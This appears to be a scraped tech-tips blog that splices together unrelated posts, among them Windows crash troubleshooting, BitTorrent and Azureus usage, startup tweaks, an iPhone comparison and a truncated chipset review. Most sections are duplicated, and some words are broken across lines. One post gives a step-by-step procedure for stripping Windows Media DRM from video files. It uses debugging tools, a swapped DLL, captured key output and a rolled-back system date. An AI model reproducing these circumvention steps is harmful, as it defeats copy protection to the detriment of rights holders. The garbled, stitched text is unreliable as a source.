Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.
3 BIOS settings
Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.
Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).
4 Hard disk drives
After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to
* Start-Programs-Accessories-System Tools-Disk Defragmenter
This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.
The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to
* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.
Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.
Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to
* Start-Programs-Accessories-System Tools-ScanDisk
Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.
5 Fatal OE exceptions and VXD errors
Fatal OE exception errors and VXD errors are often caused by video card problems.
These can often be resolved easily by reducing the resolution of the video display. Go to
* Start-Settings-Control Panel-Display-Settings
Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.
If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to
* Start-Settings-Control Panel-System-Device Manager
Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.
If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.
The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.
Another useful way to resolve video problems is to go to
* Start-Settings-Control Panel-System-Performance-Graphics
Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).
Look up your video card's manufacturer on the internet and search for the most recent drivers for it.
6 Viruses
Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to
* Start-Settings-Control Panel-Add/Remove Programs
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.
A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.
An excellent antivirus programme is McAfee VirusScan by Network Associates ( ). Another is Norton AntiVirus 2000, made by Symantec ( ).
7 Printers
The action of sending a document to print creates a bigger file, often called a postscript file.
Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.
If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.
8 Software
A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.
The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.
Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.
Remember to restore all the BIOS settings back to their former settings following installation.
9 Overheating
Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.
One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from or CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.
10 Power supply problems
With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.
If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut
Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."
You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?
1 Hardware conflict
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:
* Start-Settings-Control Panel-System-Device Manager.
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is
Code:
www.driverguide.com
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.
To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.
2 Bad Ram
Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.
Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.
3 BIOS settings
Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.
Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).
4 Hard disk drives
After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to
* Start-Programs-Accessories-System Tools-Disk Defragmenter
This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.
The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to
* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.
Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.
Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to
* Start-Programs-Accessories-System Tools-ScanDisk
Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.
5 Fatal OE exceptions and VXD errors
Fatal OE exception errors and VXD errors are often caused by video card problems.
These can often be resolved easily by reducing the resolution of the video display. Go to
* Start-Settings-Control Panel-Display-Settings
Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.
If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to
* Start-Settings-Control Panel-System-Device Manager
Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.
If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.
The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.
Another useful way to resolve video problems is to go to
* Start-Settings-Control Panel-System-Performance-Graphics
Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).
Look up your video card's manufacturer on the internet and search for the most recent drivers for it.
6 Viruses
Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to
* Start-Settings-Control Panel-Add/Remove Programs
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.
A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.
An excellent antivirus programme is McAfee VirusScan by Network Associates (
Code:
www.nai.com
Code:
www.symantec.com
7 Printers
The action of sending a document to print creates a bigger file, often called a postscript file.
Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.
If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.
8 Software
A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.
The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from
Code:
www.jv16.org
Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.
Remember to restore all the BIOS settings back to their former settings following installation.
9 Overheating
Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.
One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from
Code:
www.computernerd.com
Code:
www.coolit.com
10 Power supply problems
With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.
If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut
Thursday
How to Remove DRM Protection for Video Files
How to Remove DRM Protection for Video Files
This is how to unprotect the Video files from Mcft latest technology DRM.
So here is the procedure:
1. Install fresh Windows XP SP1 (English)
2. Download and install WMP9 from Mcft
3. Make sure you are now able to play the .wmv files from the DVD. That requires running dvdrun.exe, individualizing WMP and finding the right proxy if you are not in US to get the license.
4. Get the DRM2WMV files from the below links
5. Download Japanese version of WMP9 from Mcft
6. Doubleclick the downloaded file, it will unpack all installation files to temp directory in your Documents and Settings directory. Get the drmv2clt.dll file and copy it to c:\Program Files\Windows Media Player directory. Cancel the Japanese WMP9 installation.
7. Edit lines 9-12 of the drmdbg.ini downloaded from step 4 as written bellow
drmv2clt=1;
drmclien=0;
blackbox=0;
indivbox=0;
8. Doubleclick drmdbg.exe. It should open WMP. Navigate to your wmv file. After acquiring the license the drmdbg DOS window should display something like this:
drmdbg Ver 0.31 by taku
CreateProcess: c:\Program Files\Windows Media Player\wmplayer.exe
010010C5 ?v???O???? ?G???g???[ ?|?C???g
IsDebuggerPresent: memwriteret=1 callret=0
crc: 2850B98C c:\Program Files\windows media player\drmv2clt.dll
setbp 09252BCC 50
eax 00D6E1C8
LCqa6j9UTtiPj3FZKZ0pFnIYzaM=
[]
Copy the last 6 lines and paste them to T2_Part1.key text file to the drm2wmv1241\drm2 directory.
9. Copy the wmv files from the DVD to the drm2wmv1241 directory.
10. Change your date to 12/Feb/2005
11. Open DOS window, go to drm2wmv1241 directory. Type
md c:\windows\#dummy
X.wmv (where X indicates your file name)
The file should be decrypted. Here is what I see:
J:\drm2wmv1241>md c:\windows\#dummy
J:\drm2wmv1241>drm2wmv X.wmv (where X indicates your file name)
DRM(Ver1&2) Conversion tool Ver 1.241 by taku
J:\drm2wmv1241>drm2wmv X.wmv (where X indicates your file name)
DRM(Ver1&2) Conversion tool Ver 1.241 by taku
DRMv1 KID (17fG9KorUkm83BmyUnPv3w==)
DRMv2 KID (17fG9KorUkm83BmyUnPv3w==)
?S?p?P?b?g??: 110189?@1?p?P?b?g?T?C?Y: 9418
This is how to unprotect the Video files from Mcft latest technology DRM.
So here is the procedure:
1. Install fresh Windows XP SP1 (English)
2. Download and install WMP9 from Mcft
3. Make sure you are now able to play the .wmv files from the DVD. That requires running dvdrun.exe, individualizing WMP and finding the right proxy if you are not in US to get the license.
4. Get the DRM2WMV files from the below links
5. Download Japanese version of WMP9 from Mcft
6. Doubleclick the downloaded file, it will unpack all installation files to temp directory in your Documents and Settings directory. Get the drmv2clt.dll file and copy it to c:\Program Files\Windows Media Player directory. Cancel the Japanese WMP9 installation.
7. Edit lines 9-12 of the drmdbg.ini downloaded from step 4 as written bellow
drmv2clt=1;
drmclien=0;
blackbox=0;
indivbox=0;
8. Doubleclick drmdbg.exe. It should open WMP. Navigate to your wmv file. After acquiring the license the drmdbg DOS window should display something like this:
drmdbg Ver 0.31 by taku
CreateProcess: c:\Program Files\Windows Media Player\wmplayer.exe
010010C5 ?v???O???? ?G???g???[ ?|?C???g
IsDebuggerPresent: memwriteret=1 callret=0
crc: 2850B98C c:\Program Files\windows media player\drmv2clt.dll
setbp 09252BCC 50
eax 00D6E1C8
[]
Copy the last 6 lines and paste them to T2_Part1.key text file to the drm2wmv1241\drm2 directory.
9. Copy the wmv files from the DVD to the drm2wmv1241 directory.
10. Change your date to 12/Feb/2005
11. Open DOS window, go to drm2wmv1241 directory. Type
md c:\windows\#dummy
X.wmv (where X indicates your file name)
The file should be decrypted. Here is what I see:
J:\drm2wmv1241>md c:\windows\#dummy
J:\drm2wmv1241>drm2wmv X.wmv (where X indicates your file name)
DRM(Ver1&2) Conversion tool Ver 1.241 by taku
J:\drm2wmv1241>drm2wmv X.wmv (where X indicates your file name)
DRM(Ver1&2) Conversion tool Ver 1.241 by taku
DRMv1 KID (17fG9KorUkm83BmyUnPv3w==)
DRMv2 KID (17fG9KorUkm83BmyUnPv3w==)
?S?p?P?b?g??: 110189?@1?p?P?b?g?T?C?Y: 9418
Branding Windows with your Name
Branding Windows with your Name
open notepad dump the following lines into it and save it with the name OEMINFO.INI in the c:\windows\system32 directory:
[General]
Manufacturer=Your Name Here
Model=Your Model Here
[Support Information]
Line1=Your Name Here
Line2=Your Address Here
Line3=Your Email Address Here
Save the file, then make a right click on my computer select properties, in the general tab a button will be highlighted (support information) make a click on it, you will be able to see the changes.
Now if you want to display some more information then simply increase the line in the file.
open notepad dump the following lines into it and save it with the name OEMINFO.INI in the c:\windows\system32 directory:
[General]
Manufacturer=Your Name Here
Model=Your Model Here
[Support Information]
Line1=Your Name Here
Line2=Your Address Here
Line3=Your Email Address Here
Save the file, then make a right click on my computer select properties, in the general tab a button will be highlighted (support information) make a click on it, you will be able to see the changes.
Now if you want to display some more information then simply increase the line in the file.
Bit Torrent Tutorials
Bit Torrent Tutorials
The first things you need to know about using Bit Torrent:
-- Bit Torrent is aimed at broadband users (or any connection better than dialup).
-- Sharing is highly appreciated, and sharing is what keeps bit torrent alive.
-- A bit torrent file (*.torrent) contains information about the piece structure of the download (more on this later)
-- The method of downloading is not your conventional type of download. Since downloads do not come in as one
big chunk, you are able to download from many people at once, increasing your download speeds. There may be
100 "pieces" to a file, or 20,000+ pieces, all depending on what you're downloading. Pieces are usually small (under 200kb)
-- The speeds are based upon people sharing as they download, and seeders. Seeders are people who constantly
share in order to keep torrents alive. Usually seeders are on fast connections (10mb or higher).
In this tutorial, I will be describing it all using a bit torrent client called Azureus. This client is used to decode the .torrent files into a useable format to download from other peers. From here on out, I will refer to Bit Torrent as BT.
Which BT client you use, is purely up to you. I have tried them all, and my personal favorite is Azureus for many reasons. A big problem with most BT clients out there, is that they are extremely CPU intensive, usually using 100% of your cpu power during the whole process. This is the number one reason I use Azureus. Another, is a recently released plug-in that enables you to browse all current files listed on suprnova.org (the #1 source for torrent downloads).
Before you use the plug-in, take a look at /http://www.suprnova.org, and browse the files. Hold your mouse over the links, and you'll notice every file ends in .torrent. This is the BT file extension. Usually, .torrent files are very small, under 200kb. They contain a wealth of information about the file you want to download. A .torrent file can contain just 1 single file, or a a directory full of files and more directories. But regardless, every download is split up into hundreds or thousands of pieces. The pieces make it much easier to download at higher speeds. Back to suprnova.org. Look at the columns:
Added | Name | Filesize | Seeds | DLs (and a few more which aren't very useful.)
I'll break this down.
Added: Self explanitory, its the date the torrent was added.
Name: Also self explanitory.
Filesize: Duh
Seeds: This is how many people are strictly UPLOADING, or sharing. These people are the ones that keep .torrent files alive. By "alive", I mean, if there's no one sharing the .torrent file, no one can download.
DLs: This is how many people currently downloading that particular torrent. They also help keep the torrent alive as they share while they download.
It's always best to download using a torrent that has a decent amount of seeders and downloaders, this way you can be assured there's a good chance your download will finish. The more the better.
Now that you should understand how torrent files work, and how to use them, on to Azureus!
First, get JAVA! You need this to run Azureus, as java is what powers it. Get Java here: /http://java.sun.com/j2se/1.4.2/download.html
Next, get Azureus at: /http://azureus.sourceforge.net
Next, get the Suprnovalister plugin from /http://s93732957.onlinehome.us/storage/suprnovalister.jar
Install Java JRE before you do ANYTHING.
Install Azureus, and then in the installation folder, create 2 more folders. ./Plugins/suprnovalister (For example, if you installed Azureus to C:\PROGRAM FILES\AZUREUS, create C:\PROGRAM FILES\AZUREUS\PLUGINS\SUPRNOVALISTER). Next, put the suprnovalister.jar file that you downloaded, in that folder.
Load up Azureus, and if you want, go through the settings and personalize it.
The tab labeled "My Torrents" is the section of Azureus you need the most often. That lists all your transfers, uploads and downloads. It shows every bit of information you could possibly want to know about torrents you download.
In the menu bar, go to View > Plugins > Suprnova Lister. This will open up a new tab in Azureus. Click on "Update Mirror". This will get a mirror site of suprnova.org containing all current torrent files available. Once a mirror is grabbed, choose a category from the drop-down box to the left and click "Update". Wah-lah, all the available downloads appear in the main chart above. Just double click a download you want, and bang its starting to download. Open the "My Torrents" tab again to view and make sure your download started.
After your download has finished, be nice, and leave the torrent transferring. So people can get pieces of the file from you, just as you got pieces from other people.
Alternatively, if you don't want to use the plugin... you can just head to suprnova.org and download files to any folder. Then go to File > Open > .torrent File in Azureus.
The first things you need to know about using Bit Torrent:
-- Bit Torrent is aimed at broadband users (or any connection better than dialup).
-- Sharing is highly appreciated, and sharing is what keeps bit torrent alive.
-- A bit torrent file (*.torrent) contains information about the piece structure of the download (more on this later)
-- The method of downloading is not your conventional type of download. Since downloads do not come in as one
big chunk, you are able to download from many people at once, increasing your download speeds. There may be
100 "pieces" to a file, or 20,000+ pieces, all depending on what you're downloading. Pieces are usually small (under 200kb)
-- The speeds are based upon people sharing as they download, and seeders. Seeders are people who constantly
share in order to keep torrents alive. Usually seeders are on fast connections (10mb or higher).
In this tutorial, I will be describing it all using a bit torrent client called Azureus. This client is used to decode the .torrent files into a useable format to download from other peers. From here on out, I will refer to Bit Torrent as BT.
Which BT client you use, is purely up to you. I have tried them all, and my personal favorite is Azureus for many reasons. A big problem with most BT clients out there, is that they are extremely CPU intensive, usually using 100% of your cpu power during the whole process. This is the number one reason I use Azureus. Another, is a recently released plug-in that enables you to browse all current files listed on suprnova.org (the #1 source for torrent downloads).
Before you use the plug-in, take a look at /http://www.suprnova.org, and browse the files. Hold your mouse over the links, and you'll notice every file ends in .torrent. This is the BT file extension. Usually, .torrent files are very small, under 200kb. They contain a wealth of information about the file you want to download. A .torrent file can contain just 1 single file, or a a directory full of files and more directories. But regardless, every download is split up into hundreds or thousands of pieces. The pieces make it much easier to download at higher speeds. Back to suprnova.org. Look at the columns:
Added | Name | Filesize | Seeds | DLs (and a few more which aren't very useful.)
I'll break this down.
Added: Self explanitory, its the date the torrent was added.
Name: Also self explanitory.
Filesize: Duh
Seeds: This is how many people are strictly UPLOADING, or sharing. These people are the ones that keep .torrent files alive. By "alive", I mean, if there's no one sharing the .torrent file, no one can download.
DLs: This is how many people currently downloading that particular torrent. They also help keep the torrent alive as they share while they download.
It's always best to download using a torrent that has a decent amount of seeders and downloaders, this way you can be assured there's a good chance your download will finish. The more the better.
Now that you should understand how torrent files work, and how to use them, on to Azureus!
First, get JAVA! You need this to run Azureus, as java is what powers it. Get Java here: /http://java.sun.com/j2se/1.4.2/download.html
Next, get Azureus at: /http://azureus.sourceforge.net
Next, get the Suprnovalister plugin from /http://s93732957.onlinehome.us/storage/suprnovalister.jar
Install Java JRE before you do ANYTHING.
Install Azureus, and then in the installation folder, create 2 more folders. ./Plugins/suprnovalister (For example, if you installed Azureus to C:\PROGRAM FILES\AZUREUS, create C:\PROGRAM FILES\AZUREUS\PLUGINS\SUPRNOVALISTER). Next, put the suprnovalister.jar file that you downloaded, in that folder.
Load up Azureus, and if you want, go through the settings and personalize it.
The tab labeled "My Torrents" is the section of Azureus you need the most often. That lists all your transfers, uploads and downloads. It shows every bit of information you could possibly want to know about torrents you download.
In the menu bar, go to View > Plugins > Suprnova Lister. This will open up a new tab in Azureus. Click on "Update Mirror". This will get a mirror site of suprnova.org containing all current torrent files available. Once a mirror is grabbed, choose a category from the drop-down box to the left and click "Update". Wah-lah, all the available downloads appear in the main chart above. Just double click a download you want, and bang its starting to download. Open the "My Torrents" tab again to view and make sure your download started.
After your download has finished, be nice, and leave the torrent transferring. So people can get pieces of the file from you, just as you got pieces from other people.
Alternatively, if you don't want to use the plugin... you can just head to suprnova.org and download files to any folder. Then go to File > Open > .torrent File in Azureus.
How To Speed Up A Slow Computer
How To Speed Up A Slow Computer
By reduCing StartUp Programms
first off in the bottom right hand corner of your computer if you see alot of icons start up there when you first start your computer then this is for you if you dont know already how to get rid of em.
Press your Start Button (bottom left) and go to "run"
now type in: msconfig
now you will get a box that pops up and will tell you bunch of stuff dont mess with anything else other than what I tell you otherwise you could do something really bad (possible) go to your "startup" tab on the top right of the screen where it usually is and click it.
Now you will have a closed in box with bunch of filenames n addresses and more boxes with checks in them. Now if your like me you dont want anything startin up when you start you computer up or while your even doing anything cause it slows you down. Now unless your like me right now 1 have 1 thing starting up when my computer starts up and thats my settin for my overclocked vid card. But other than that uncheck every box and then hit apply and ok. Then window you were jus in will now close and ask you if you want to restart or wait till later to restart.
By reduCing StartUp Programms
first off in the bottom right hand corner of your computer if you see alot of icons start up there when you first start your computer then this is for you if you dont know already how to get rid of em.
Press your Start Button (bottom left) and go to "run"
now type in: msconfig
now you will get a box that pops up and will tell you bunch of stuff dont mess with anything else other than what I tell you otherwise you could do something really bad (possible) go to your "startup" tab on the top right of the screen where it usually is and click it.
Now you will have a closed in box with bunch of filenames n addresses and more boxes with checks in them. Now if your like me you dont want anything startin up when you start you computer up or while your even doing anything cause it slows you down. Now unless your like me right now 1 have 1 thing starting up when my computer starts up and thats my settin for my overclocked vid card. But other than that uncheck every box and then hit apply and ok. Then window you were jus in will now close and ask you if you want to restart or wait till later to restart.
How To Speed Up A Slow Computer
How To Speed Up A Slow Computer
By reduCing StartUp Programms
first off in the bottom right hand corner of your computer if you see alot of icons start up there when you first start your computer then this is for you if you dont know already how to get rid of em.
Press your Start Button (bottom left) and go to "run"
now type in: msconfig
now you will get a box that pops up and will tell you bunch of stuff dont mess with anything else other than what I tell you otherwise you could do something really bad (possible) go to your "startup" tab on the top right of the screen where it usually is and click it.
Now you will have a closed in box with bunch of filenames n addresses and more boxes with checks in them. Now if your like me you dont want anything startin up when you start you computer up or while your even doing anything cause it slows you down. Now unless your like me right now 1 have 1 thing starting up when my computer starts up and thats my settin for my overclocked vid card. But other than that uncheck every box and then hit apply and ok. Then window you were jus in will now close and ask you if you want to restart or wait till later to restart.
By reduCing StartUp Programms
first off in the bottom right hand corner of your computer if you see alot of icons start up there when you first start your computer then this is for you if you dont know already how to get rid of em.
Press your Start Button (bottom left) and go to "run"
now type in: msconfig
now you will get a box that pops up and will tell you bunch of stuff dont mess with anything else other than what I tell you otherwise you could do something really bad (possible) go to your "startup" tab on the top right of the screen where it usually is and click it.
Now you will have a closed in box with bunch of filenames n addresses and more boxes with checks in them. Now if your like me you dont want anything startin up when you start you computer up or while your even doing anything cause it slows you down. Now unless your like me right now 1 have 1 thing starting up when my computer starts up and thats my settin for my overclocked vid card. But other than that uncheck every box and then hit apply and ok. Then window you were jus in will now close and ask you if you want to restart or wait till later to restart.
Friday
Apple iPhone 2G (1st Generation) and 3G (2nd Generation) Compared
Apple iPhone 2G (1st Generation) and 3G (2nd Generation) Compared
Design and Dimensions
Even though there aren’t too many differences in the exterior of the models, we are going to point them out before we get to the hardware. The screen size is exactly the same at 3.5" on both models, which provides for an ultra-clear 480×320 screen resolution. The rear of the original iPhone has a smooth metal finish with a black strip at the bottom. The front of it has a shiny metal piece that surroun
ds the side of the phone and 
ends behind the screen. The iPhone 3G has a smooth piano black or white finish. It also has the shiny metal piece around the outside of the screen. The iPhone 3G features buttons that are made from a shiny metal, excluding the home button. This gives them a sturdier feel compared to its predecessor. The shape of the 3G phone is a major difference as the original iPhone is a little thicker and completely flat when set down. The 3
G has more of a round feel to it that flattens out slightly around the edges. It has been said that the screen of the 3G heats to a warmer temperature than that of the original iPhone.
Features & Technical Specifications
Once we get under the hood, we begin to see where the 3G separates itself from it’s older brother. The iPhone 2G only supported W
iFi, GSM, and Bluetooth. This means its speed surfing the Internet were quite limited. The iPhone 3G introduced 3G speeds to Apple’s fl
agship model, and it also supports WiFi, GSM, and Bluetooth. This makes for a better experience surfing, watching Youtube videos, and downloading data onto the phone from the Internet. The first generation iPhone supported the following frequencies: GSM and Quad-Band (850, 900, 1800, 1900 MHz). The iPhone 3G supports all of those frequencies, but added to the list quite a few more to enable running at 3G speeds, including UMTS/HSDPA (850, 1900, 2100 MHz). The iPhone 3G also supports GPS, which was not included in the original iPhone.
Both phones have a 2MP camera, but do not feature a video recorder. The iPhone 3G weighs 4.7 ounces compared to the 2G’s weight of 4.8 ounces (not a notable difference). The only downside to 3G capabilities is that it eats into battery life. The iPhone 2G beats out the newer version in that regard by providing up to 8 hours of talk-time compared to 5 hours with the 3G.
AMD 785G: The Venerable 780G, Evolved : Introduction
AMD 785G: The Venerable 780G, Evolved : Introduction
Since the beginning of last year, integrated graphics processors (IGPs) have become a lot more exciting. Consumers now have solid options from all of the major players, including AMD’s 780G/790GX, Intel’s G45, and Nvidia’s 8200/9300/9400. 
All of these components have their respective strengths and weaknesses, but compared to past offerings, these chipsets are light-years ahead.
